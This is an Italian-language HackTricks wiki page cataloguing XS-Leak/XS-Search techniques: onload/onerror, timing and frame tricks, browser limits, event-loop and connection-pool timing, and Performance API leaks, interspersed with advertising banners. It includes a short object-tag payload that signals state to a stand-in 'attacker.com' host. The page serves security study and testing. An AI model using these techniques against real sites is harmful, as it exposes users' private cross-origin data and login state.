# XS-Search/XS-Leaks

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>

Altri modi per supportare HackTricks:

* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.

</details>

## Informazioni di Base

XS-Search è un metodo utilizzato per **estrarre informazioni cross-origin** sfruttando **vulnerabilità di canale laterale**.

I componenti chiave coinvolti in questo attacco includono:

* **Web Vulnerabile**: Il sito web di destinazione da cui si intende estrarre informazioni.
* **Web dell'Attaccante**: Il sito web malevolo creato dall'attaccante, che la vittima visita, ospitante l'exploit.
* **Metodo di Inclusione**: La tecnica impiegata per incorporare il Web Vulnerabile nel Web dell'Attaccante (ad esempio, window.open, iframe, fetch, tag HTML con href, ecc.).
* **Tecnica di Leak**: Tecniche utilizzate per discernere le differenze nello stato del Web Vulnerabile basate sulle informazioni raccolte attraverso il metodo di inclusione.
* **Stati**: Le due condizioni potenziali del Web Vulnerabile, che l'attaccante mira a distinguere.
* **Differenze Rilevabili**: Variazioni osservabili su cui l'attaccante si basa per inferire lo stato del Web Vulnerabile.

### Differenze Rilevabili

Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vulnerabile:

* **Codice di Stato**: Distinguere tra **vari codici di stato di risposta HTTP** cross-origin, come errori del server, errori del client o errori di autenticazione.
* **Utilizzo delle API**: Identificare **l'uso delle API Web** tra le pagine, rivelando se una pagina cross-origin utilizza una specifica API Web JavaScript.
* **Reindirizzamenti**: Rilevare le navigazioni verso pagine diverse, non solo reindirizzamenti HTTP ma anche quelli attivati da JavaScript o HTML.
* **Contenuto della Pagina**: Osservare **variazioni nel corpo della risposta HTTP** o nelle risorse sottopagine, come il **numero di frame incorporati** o disparità di dimensioni nelle immagini.
* **Intestazione HTTP**: Notare la presenza o eventualmente il valore di un **intestazione di risposta HTTP specifica**, inclusi intestazioni come X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
* **Temporizzazione**: Notare disparità di tempo costanti tra i due stati.

### Metodi di Inclusione

* **Elementi HTML**: HTML offre vari elementi per **l'inclusione di risorse cross-origin**, come fogli di stile, immagini o script, costringendo il browser a richiedere una risorsa non HTML. Una raccolta di potenziali elementi HTML a tale scopo può essere trovata su [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
* **Frame**: Elementi come **iframe**, **object** e **embed** possono incorporare risorse HTML direttamente nella pagina dell'attaccante. Se la pagina **manca di protezione del framing**, JavaScript può accedere all'oggetto window della risorsa incorniciata tramite la proprietà contentWindow.
* **Pop-up**: Il metodo **`window.open`** apre una risorsa in una nuova scheda o finestra, fornendo un **manico della finestra** per consentire a JavaScript di interagire con metodi e proprietà seguendo il SOP. I pop-up, spesso utilizzati nell'accesso singolo, eludono le restrizioni di framing e cookie di una risorsa di destinazione. Tuttavia, i browser moderni limitano la creazione di pop-up a determinate azioni dell'utente.
* **Richieste JavaScript**: JavaScript consente richieste dirette alle risorse di destinazione utilizzando **XMLHttpRequests** o il **Fetch API**. Questi metodi offrono un controllo preciso sulla richiesta, come optare per seguire i reindirizzamenti HTTP.

### Tecniche di Leak

* **Gestore di Eventi**: Una tecnica di leak classica in XS-Leaks, dove i gestori di eventi come **onload** e **onerror** forniscono informazioni sul successo o fallimento del caricamento della risorsa.
* **Messaggi di Errore**: Le eccezioni JavaScript o pagine di errore speciali possono fornire informazioni di leak direttamente dal messaggio di errore o differenziando tra la sua presenza e assenza.
* **Limiti Globali**: Limiti fisici di un browser, come la capacità di memoria o altri limiti del browser imposti, possono segnalare quando viene raggiunto un limite, fungendo da tecnica di leak.
* **Stato Globale**: Interazioni rilevabili con gli **stati globali dei browser** (ad esempio, l'interfaccia History) possono essere sfruttate. Ad esempio, il **numero di voci** nella cronologia di un browser può offrire indizi sulle pagine cross-origin.
* **API di Performance**: Questa API fornisce **dettagli sulle prestazioni della pagina corrente**, inclusi i tempi di rete per il documento e le risorse caricate, consentendo inferenze sulle risorse richieste.
* **Attributi Leggibili**: Alcuni attributi HTML sono **leggibili cross-origin** e possono essere utilizzati come tecnica di leak. Ad esempio, la proprietà `window.frame.length` consente a JavaScript di contare i frame inclusi in una pagina web cross-origin.

## Strumento XSinator & Paper

XSinator è uno strumento automatico per **verificare i browser contro diversi XS-Leaks noti** spiegati nel suo paper: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)

Puoi **accedere allo strumento su** [**https://xsinator.com/**](https://xsinator.com/)

{% hint style="warning" %}
**XS-Leaks Esclusi**: Abbiamo dovuto escludere XS-Leaks che si basano su **service worker** in quanto interferirebbero con altri leak in XSinator. Inoltre, abbiamo scelto di **escludere XS-Leaks che si basano su configurazioni errate e bug in un'applicazione web specifica**. Ad esempio, configurazioni errate di Cross-Origin Resource Sharing (CORS), perdite di postMessage o Cross-Site Scripting. Inoltre, abbiamo escluso XS-Leaks basati sul tempo poiché spesso soffrono di lentezza, rumore e inesattezza.
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## **Tecniche basate sul tempo**

Alcune delle seguenti tecniche utilizzeranno il tempo come parte del processo per rilevare differenze nei possibili stati delle pagine web. Ci sono diversi modi per misurare il tempo in un browser web.

**Orologi**: L'API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) consente agli sviluppatori di ottenere misurazioni temporali ad alta risoluzione.\
Esistono un considerevole numero di API che gli attaccanti possono sfruttare per creare orologi impliciti: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animazioni CSS e altri.\
Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).

## Tecniche degli Event Handler

### Onload/Onerror

* **Metodi di Inclusione**: Frame, Elementi HTML
* **Differenza Rilevabile**: Codice di Stato
* **Ulteriori informazioni**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **Sommario**: se si tenta di caricare una risorsa e vengono attivati gli eventi onerror/onload con il caricamento riuscito/non riuscito della risorsa, è possibile individuare il codice di stato.
* **Esempio di codice**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}

L'esempio di codice cerca di **caricare oggetti script da JS**, ma **altri tag** come oggetti, fogli di stile, immagini, audio potrebbero essere utilizzati. Inoltre, è anche possibile iniettare direttamente il **tag** e dichiarare gli eventi `onload` e `onerror` all'interno del tag (anziché iniettarlo da JS).

Esiste anche una versione di questo attacco senza script:
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
In questo caso se `example.com/404` non viene trovato, verrà caricato `attacker.com/?error`.

### Tempistica Onload

* **Metodi di Inclusione**: Elementi HTML
* **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Sommario:** L'API [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) può essere utilizzata per misurare quanto tempo impiega a eseguire una richiesta. Tuttavia, potrebbero essere utilizzati altri orologi, come l'API [**PerformanceLongTaskTiming**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) che può identificare attività in esecuzione per più di 50 ms.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) un altro esempio in:

{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}

#### Tempistica Onload + Attività Pesante Forzata

Questa tecnica è simile alla precedente, ma l'**attaccante** forzerà anche qualche azione a richiedere un **tempo rilevante** quando la **risposta è positiva o negativa** e misurerà quel tempo.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}

### Tempistica unload/beforeunload

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Sommario:** Il clock [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) può essere utilizzato per misurare quanto tempo impiega a eseguire una richiesta. Potrebbero essere utilizzati altri orologi.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

Il tempo impiegato per recuperare una risorsa può essere misurato utilizzando gli eventi [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) e [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event). L'evento **`beforeunload`** viene attivato quando il browser sta per navigare verso una nuova pagina, mentre l'evento **`unload`** si verifica quando effettivamente avviene la navigazione. La differenza di tempo tra questi due eventi può essere calcolata per determinare la **durata in cui il browser ha impiegato a recuperare la risorsa**.

### Tempistica Frame con Sandboxing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Sommario:** L'API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) può essere utilizzata per misurare quanto tempo impiega a eseguire una richiesta. Potrebbero essere utilizzati altri orologi.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

È stato osservato che in assenza di [Protezioni Framing](https://xsleaks.dev/docs/defenses/opt-in/xfo/), un attaccante può misurare il tempo necessario per caricare una pagina e le sue sotto risorse tramite la rete. Questa misurazione è tipicamente possibile perché l'handler `onload` di un iframe viene attivato solo dopo il completamento del caricamento delle risorse e dell'esecuzione di JavaScript. Per eludere la variabilità introdotta dall'esecuzione dello script, un attaccante potrebbe utilizzare l'attributo [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) all'interno dell'`<iframe>`. L'inclusione di questo attributo limita numerose funzionalità, in particolare l'esecuzione di JavaScript, facilitando così una misurazione che è prevalentemente influenzata dalle prestazioni di rete.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + errore + onload

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**:
* **Sommario**: Se riesci a far sì che la pagina generi un errore quando si accede al contenuto corretto e si carichi correttamente quando si accede a qualsiasi contenuto, allora puoi creare un loop per estrarre tutte le informazioni senza misurare il tempo.
* **Esempio di Codice**:

Supponiamo che tu possa **inserire** la **pagina** che ha il **contenuto segreto** **all'interno di un Iframe**.

Puoi far **cercare alla vittima** il file che contiene "_**flag**_" utilizzando un **Iframe** (sfruttando ad esempio un CSRF). All'interno dell'Iframe sai che l'_**evento onload**_ verrà **sempre eseguito almeno una volta**. Quindi, puoi **cambiare** l'**URL** dell'**iframe** cambiando solo il **contenuto** dell'**hash** all'interno dell'URL.

Per esempio:

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

Se il primo URL è stato **caricato con successo**, allora, quando si **cambia** la parte **hash** dell'URL, l'evento **onload** **non verrà attivato** di nuovo. Ma **se** la pagina ha avuto qualche tipo di **errore** durante il **caricamento**, allora, l'evento **onload** verrà **attivato di nuovo**.

Così, puoi **distinguere tra** una pagina **caricata correttamente** o una pagina che ha un **errore** quando viene accessa.

### Esecuzione di Javascript

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**:
* **Sommario**: Se la **pagina** restituisce il **contenuto sensibile**, o un **contenuto** che può essere **controllato** dall'utente. L'utente potrebbe impostare **codice JS valido nel caso negativo**, e **caricare** ogni tentativo all'interno dei tag **`<script>`**, quindi nei casi **negativi** il codice degli attaccanti **viene eseguito**, e nei casi **positivi** **nulla** verrà eseguito.
* **Esempio di Codice**:

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}

### CORB - Onerror

* **Metodi di Inclusione**: Elementi HTML
* **Differenza Rilevabile**: Codice di Stato e Intestazioni
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Sommario**: **Cross-Origin Read Blocking (CORB)** è una misura di sicurezza che impedisce alle pagine web di caricare determinate risorse cross-origin sensibili per proteggersi da attacchi come **Spectre**. Tuttavia, gli attaccanti possono sfruttare il suo comportamento protettivo. Quando una risposta soggetta a **CORB** restituisce un `Content-Type` _**protetto da CORB**_ con `nosniff` e un codice di stato `2xx`, **CORB** rimuove il corpo e le intestazioni della risposta. Gli attaccanti che osservano questo possono dedurre la combinazione del **codice di stato** (indicante successo o errore) e il `Content-Type` (che indica se è protetto da **CORB**), portando a una potenziale fuga di informazioni.
* **Esempio di Codice**:

Controlla il link per ulteriori informazioni sull'attacco.

### onblur

* **Metodi di Inclusione**: Frame
* **Differenza Rilevabile**: Contenuto della Pagina
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Sommario**: Fuga di dati sensibili dall'attributo id o name.
* **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

È possibile **caricare una pagina** all'interno di un **iframe** e utilizzare il **`#valore_id`** per far sì che la pagina **si concentri sull'elemento** dell'iframe con l'id indicato, quindi se viene attivato un segnale **`onblur`**, l'elemento ID esiste.\
Puoi eseguire lo stesso attacco con i tag **`portal`**.

### Trasmissioni postMessage <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

* **Metodi di Inclusione**: Frame, Pop-up
* **Differenza Rilevabile**: Utilizzo dell'API
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Sommario**: Raccogliere informazioni sensibili da un postMessage o utilizzare la presenza di postMessage come un oracolo per conoscere lo stato dell'utente nella pagina
* **Esempio di Codice**: `Qualsiasi codice in ascolto di tutti i postMessage.`

Le applicazioni utilizzano frequentemente le trasmissioni [`postMessage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) per comunicare tra origini diverse. Tuttavia, questo metodo può involontariamente esporre **informazioni sensibili** se il parametro `targetOrigin` non è correttamente specificato, consentendo a qualsiasi finestra di ricevere i messaggi. Inoltre, il semplice atto di ricevere un messaggio può agire come un **oracolo**; ad esempio, certi messaggi potrebbero essere inviati solo agli utenti che sono autenticati. Pertanto, la presenza o l'assenza di questi messaggi può rivelare informazioni sullo stato o l'identità dell'utente, come ad esempio se sono autenticati o meno.

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti della community più avanzati al mondo.\
Ottieni l'Accesso Oggi:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Tecniche di Limiti Globali

### API WebSocket

* **Metodi di Inclusione**: Frame, Pop-up
* **Differenza Rilevabile**: Utilizzo dell'API
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Sommario**: Esaurire il limite di connessioni WebSocket rivela il numero di connessioni WebSocket di una pagina cross-origin.
* **Esempio di Codice**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))

È possibile identificare se, e quante, **connessioni WebSocket una pagina di destinazione utilizza**. Ciò consente a un attaccante di rilevare gli stati dell'applicazione e di rivelare informazioni legate al numero di connessioni WebSocket.

Se un **origine** utilizza il **massimo numero di oggetti di connessione WebSocket**, indipendentemente dallo stato delle loro connessioni, la creazione di **nuovi oggetti causerà eccezioni JavaScript**. Per eseguire questo attacco, il sito web dell'attaccante apre il sito web di destinazione in un pop-up o iframe e quindi, dopo che il sito web di destinazione è stato caricato, tenta di creare il massimo numero di connessioni WebSocket possibili. Il **numero di eccezioni generate** è il **numero di connessioni WebSocket utilizzate dalla finestra del sito web di destinazione**.
### API di Pagamento

* **Metodi di Inclusione**: Frames, Pop-up
* **Differenza Rilevabile**: Utilizzo dell'API
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Sommario**: Rilevare la Richiesta di Pagamento perché può essere attiva solo una alla volta.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)

Questo XS-Leak consente a un attaccante di **rilevare quando una pagina cross-origin inizia una richiesta di pagamento**.

Poiché **può essere attiva solo una richiesta di pagamento** alla volta, se il sito di destinazione sta utilizzando l'API di Richiesta di Pagamento, qualsiasi **ulteriore tentativo di utilizzare questa API fallirà**, causando un'**eccezione JavaScript**. L'attaccante può sfruttare ciò **tentando periodicamente di mostrare l'interfaccia dell'API di Pagamento**. Se un tentativo causa un'eccezione, il sito di destinazione la sta utilizzando attualmente. L'attaccante può nascondere questi tentativi periodici chiudendo immediatamente l'interfaccia dopo la creazione.

### Temporizzazione del Ciclo degli Eventi <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>

* **Metodi di Inclusione**:
* **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Sommario:** Misurare il tempo di esecuzione di un web abusando del ciclo degli eventi JS single-threaded.
* **Esempio di Codice**:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

JavaScript opera su un [modello di concorrenza del ciclo degli eventi single-threaded](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), il che significa che **può eseguire solo un compito alla volta**. Questa caratteristica può essere sfruttata per misurare **quanto tempo impiega il codice di un'origine diversa ad eseguirsi**. Un attaccante può misurare il tempo di esecuzione del proprio codice nel ciclo degli eventi inviando continuamente eventi con proprietà fisse. Questi eventi verranno elaborati quando il pool degli eventi è vuoto. Se altre origini stanno inviando eventi allo stesso pool, un **attaccante può dedurre il tempo impiegato per l'esecuzione di questi eventi esterni osservando ritardi nell'esecuzione dei propri compiti**. Questo metodo di monitoraggio del ciclo degli eventi per i ritardi può rivelare il tempo di esecuzione del codice di origini diverse, potenzialmente esponendo informazioni sensibili.

{% hint style="warning" %}
In una temporizzazione dell'esecuzione è possibile **eliminare** i **fattori di rete** per ottenere **misure più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
{% endhint %}

### Ciclo degli Eventi Occupato <a href="#busy-event-loop" id="busy-event-loop"></a>

* **Metodi di Inclusione**:
* **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Sommario:** Un metodo per misurare il tempo di esecuzione di un'operazione web coinvolge il blocco intenzionale del ciclo degli eventi di un thread e quindi misurare **quanto tempo impiega il ciclo degli eventi a diventare nuovamente disponibile**. Inserendo un'operazione di blocco (come un calcolo lungo o una chiamata API sincrona) nel ciclo degli eventi e monitorando il tempo impiegato affinché il codice successivo inizi l'esecuzione, si può dedurre la durata dei compiti che venivano eseguiti nel ciclo degli eventi durante il periodo di blocco. Questa tecnica sfrutta la natura single-threaded del ciclo degli eventi di JavaScript, dove i compiti vengono eseguiti in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread.
* **Esempio di Codice**:

Un vantaggio significativo della tecnica di misurare il tempo di esecuzione bloccando il ciclo degli eventi è il potenziale per aggirare **l'Isolamento del Sito**. **L'Isolamento del Sito** è una funzionalità di sicurezza che separa i diversi siti web in processi separati, al fine di impedire ai siti dannosi di accedere direttamente a dati sensibili di altri siti. Tuttavia, influenzando la temporizzazione dell'esecuzione di un'altra origine attraverso il ciclo degli eventi condiviso, un attaccante può estrarre indirettamente informazioni sulle attività di quell'origine. Questo metodo non si basa sull'accesso diretto ai dati dell'altra origine, ma osserva l'impatto delle attività di quell'origine sul ciclo degli eventi condiviso, eludendo così le barriere protettive stabilite dall'**Isolamento del Sito**.

{% hint style="warning" %}
In una temporizzazione dell'esecuzione è possibile **eliminare** i **fattori di rete** per ottenere **misure più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.
{% endhint %}

### Pool di Connessioni

* **Metodi di Inclusione**: Richieste JavaScript
* **Differenza Rilevabile**: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
* **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Sommario:** Un attaccante potrebbe bloccare tutte le socket tranne una, caricare il web target e contemporaneamente caricare un'altra pagina, il tempo fino a quando l'ultima pagina inizia a caricarsi è il tempo impiegato dalla pagina target per caricarsi.
* **Esempio di Codice**:

{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}

I browser utilizzano le socket per la comunicazione con il server, ma a causa delle risorse limitate del sistema operativo e dell'hardware, i **browser sono costretti a imporre un limite** al numero di socket simultanee. Gli attaccanti possono sfruttare questa limitazione attraverso i seguenti passaggi:

1. Verificare il limite delle socket del browser, ad esempio, 256 socket globali.
2. Occupare 255 socket per un periodo prolungato avviando 255 richieste a vari host, progettate per mantenere le connessioni aperte senza completarle.
3. Utilizzare la 256a socket per inviare una richiesta alla pagina di destinazione.
4. Tentare una 257a richiesta a un host diverso. Dato che tutte le socket sono in uso (come nei passaggi 2 e 3), questa richiesta verrà messa in coda fino a quando una socket diventa disponibile. Il ritardo prima che questa richiesta proceda fornisce all'attaccante informazioni temporali sull'attività di rete relativa alla 256a socket (la socket della pagina di destinazione). Questa inferenza è possibile perché le 255 socket dal passaggio 2 sono ancora impegnate, implicando che qualsiasi socket appena disponibile deve essere quella rilasciata dal passaggio 3. Il tempo impiegato dalla 256a socket per diventare disponibile è quindi direttamente collegato al tempo necessario per completare la richiesta alla pagina di destinazione.

Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
## Tecniche dell'API delle Prestazioni

L'[`API delle Prestazioni`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre approfondimenti sulle metriche delle prestazioni delle applicazioni web, arricchite ulteriormente dall'[`API di Temporizzazione delle Risorse`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API). L'API di Temporizzazione delle Risorse consente il monitoraggio dettagliato dei tempi delle richieste di rete, come la durata delle richieste. In particolare, quando i server includono l'intestazione `Timing-Allow-Origin: *` nelle loro risposte, diventano disponibili dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio.

Questa ricchezza di dati può essere recuperata tramite metodi come [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fornendo una visione completa delle informazioni correlate alle prestazioni. Inoltre, l'API facilita la misurazione dei tempi di esecuzione calcolando la differenza tra i timestamp ottenuti da [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Tuttavia, è importante notare che per determinate operazioni nei browser come Chrome, la precisione di `performance.now()` potrebbe essere limitata a millisecondi, il che potrebbe influire sulla granularità delle misurazioni temporali.

Oltre alle misurazioni temporali, l'API delle Prestazioni può essere sfruttata per approfondimenti relativi alla sicurezza. Ad esempio, la presenza o l'assenza di pagine nell'oggetto `performance` in Chrome può indicare l'applicazione di `X-Frame-Options`. In particolare, se una pagina è bloccata dal rendering in un frame a causa di `X-Frame-Options`, non verrà registrata nell'oggetto `performance`, fornendo un indizio sottile sulle politiche di framing della pagina.

### Fuga di Errori

* **Metodi di Inclusione**: Frame, Elementi HTML
* **Differenza Rilevabile**: Codice di Stato
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Sommario:** Una richiesta che genera errori non creerà una voce di temporizzazione delle risorse.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)

È possibile **differenziare tra i codici di stato delle risposte HTTP** perché le richieste che portano a un **errore** non creano una voce di prestazione.

### Errore di Ricarica dello Stile

* **Metodi di Inclusione**: Elementi HTML
* **Differenza Rilevabile**: Codice di Stato
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Sommario:** A causa di un bug del browser, le richieste che generano errori vengono caricate due volte.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)

Nella tecnica precedente sono stati identificati due casi in cui i bug del browser in GC portano al **caricamento duplicato delle risorse in caso di errore nel caricamento**. Ciò comporterà la presenza di voci multiple nell'API delle Prestazioni e potrà quindi essere rilevato.

### Errore di Unione delle Richieste

* **Metodi di Inclusione**: Elementi HTML
* **Differenza Rilevabile**: Codice di Stato
* **Ulteriori informazioni**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Sommario:** Le richieste che generano un errore non possono essere unite.
* **Esempio di Codice**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

